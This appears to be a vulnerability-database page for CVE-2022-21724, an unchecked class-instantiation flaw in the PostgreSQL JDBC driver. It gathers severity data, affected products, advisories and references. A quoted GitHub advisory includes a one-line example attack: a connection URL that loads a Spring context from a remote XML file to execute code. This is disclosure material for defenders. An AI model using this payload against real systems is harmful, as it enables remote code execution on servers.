CVE-2022-21724
highpriority · track · 40EPSS 0.031 · 88 %ileDEEURUUSEPSS · scored 2026-10-27
pgjdbc is the offical PostgreSQL JDBC Driver. A security hole was found in the jdbc driver for postgresql database while doing security research. The system using the postgresql library will be attacked when attacker control the jdbc url or properties. pgjdbc instantiates plugin instances based on class names provided via `authenticationPluginClassName`, `sslhostnameverifier`, `socketFactory`, `sslfactory`, `sslpasswordcallback` connection properties. However, the driver did not verify if the class implements the expected interface before instantiating the class. This can lead to code execution loaded via arbitrary classes. Users using plugins are advised to upgrade. There are no known workarounds for this issue.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · high–critical · 7–9.8
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (39)
Products and version ranges known to be affected.
- NetApp ActiveIQ Unified Managerall versionscert_bundDEcpe:/a:netapp:active_iq_unified_manager:-::~~~vmware_vsphere~~
advisories (6)
Vendor and ecosystem advisories describing this.
- WID-SEC-W-2022-0416PostgreSQL JDBC Treiber: Schwachstelle ermöglicht CodeausführungDeutsch2022-02-01csaf · cert_bundDE
Ein entfernter, authentisierter Angreifer kann eine Schwachstelle im PostgreSQL JDBC Treiber ausnutzen, um beliebigen Programmcode auszuführen.
- WID-SEC-W-2022-0607Red Hat FUSE: Mehrere SchwachstellenDeutsch2022-07-07csaf · cert_bundDE
Ein entfernter, anonymer, authentisierter oder lokaler Angreifer kann mehrere Schwachstellen in Red Hat FUSE ausnutzen, um vertrauliche Informationen offenzulegen, beliebigen Code auszuführen, einen Denial of Service Zustand herbeizuführen, Sicherheitsmaßnahmen zu umgehen, Daten und Informationen zu manipulieren und seine Privilegien zu erweitern.
- WID-SEC-W-2023-0809IBM QRadar SIEM: Mehrere SchwachstellenDeutsch2023-03-30csaf · cert_bundDE
Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in IBM QRadar SIEM ausnutzen, um beliebigen Programmcode auszuführen, Informationen offenzulegen, Informationen falsch darzustellen, einen Denial of Service Zustand herbeizuführen, Sicherheitsvorkehrungen zu umgehen, einen Cross-Site-Scripting-Angriff durchzuführen oder unbekannte Auswirkungen zu verursachen.
- GHSA-v7wg-cpwc-24m4pgjdbc Does Not Check Class Instantiation when providing Plugin Classes2022-02-02ghsa · osvUS
### Impact pgjdbc instantiates plugin instances based on class names provided via `authenticationPluginClassName`, `sslhostnameverifier`, `socketFactory`, `sslfactory`, `sslpasswordcallback` connection properties. However, the driver did not verify if the class implements the expected interface before instantiating the class. Here's an example attack using an out-of-the-box class from Spring Framework: ``` DriverManager.getConnection("jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml"); ``` The first impacted version is REL9.4.1208 (it introduced `socketFactory` connection property)
- BIT-postgresql-jdbc-driver-2022-21724Unchecked Class Instantiation when providing Plugin Classes2024-03-06vendor · osvUS
pgjdbc is the offical PostgreSQL JDBC Driver. A security hole was found in the jdbc driver for postgresql database while doing security research. The system using the postgresql library will be attacked when attacker control the jdbc url or properties. pgjdbc instantiates plugin instances based on class names provided via `authenticationPluginClassName`, `sslhostnameverifier`, `socketFactory`, `sslfactory`, `sslpasswordcallback` connection properties. However, the driver did not verify if the class implements the expected interface before instantiating the class. This can lead to code execution loaded via arbitrary classes. Users using plugins are advised to upgrade. There are no known workarounds for this issue.
- CGA-63j7-vh89-wc5p2024-06-06vendor · osvUS
also known as (6)
Other names and identifiers for this entity.
- CNNVD-202202-086cnnvd
- EUVD-2022-1192enisa_euvd
- BDU:2022-00821fstec_bdu
- GHSA-v7wg-cpwc-24m4enisa_euvd
- BIT-postgresql-jdbc-driver-2022-21724osv
- GHSA-v7wg-cpwc-24m4osv
sources
Which sources assert this record, and when.
references (30)
External citations — patches, advisories, analysis.
- https://access.redhat.com/security/cve/cve-2022-21724cnnvd
- https://github.com/pgjdbc/pgjdbc/commit/f4d0ed69c0b3aae8531d83d6af4c57f22312c813cnnvd
- https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-v7wg-cpwc-24m4cnnvd
- https://lists.debian.org/debian-lts-announce/2022/05/msg00027.htmlcnnvd
- https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BVEO7BEFXPBVHSPYL3YKQWZI6DYXQLFS/cnnvd
- https://nvd.nist.gov/vuln/detail/CVE-2022-21724cnnvd
- https://packetstormsecurity.com/files/167222/Red-Hat-Security-Advisory-2022-4623-01.htmlcnnvd
- https://packetstormsecurity.com/files/168657/Red-Hat-Security-Advisory-2022-6835-01.htmlcnnvd
Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.
Free scan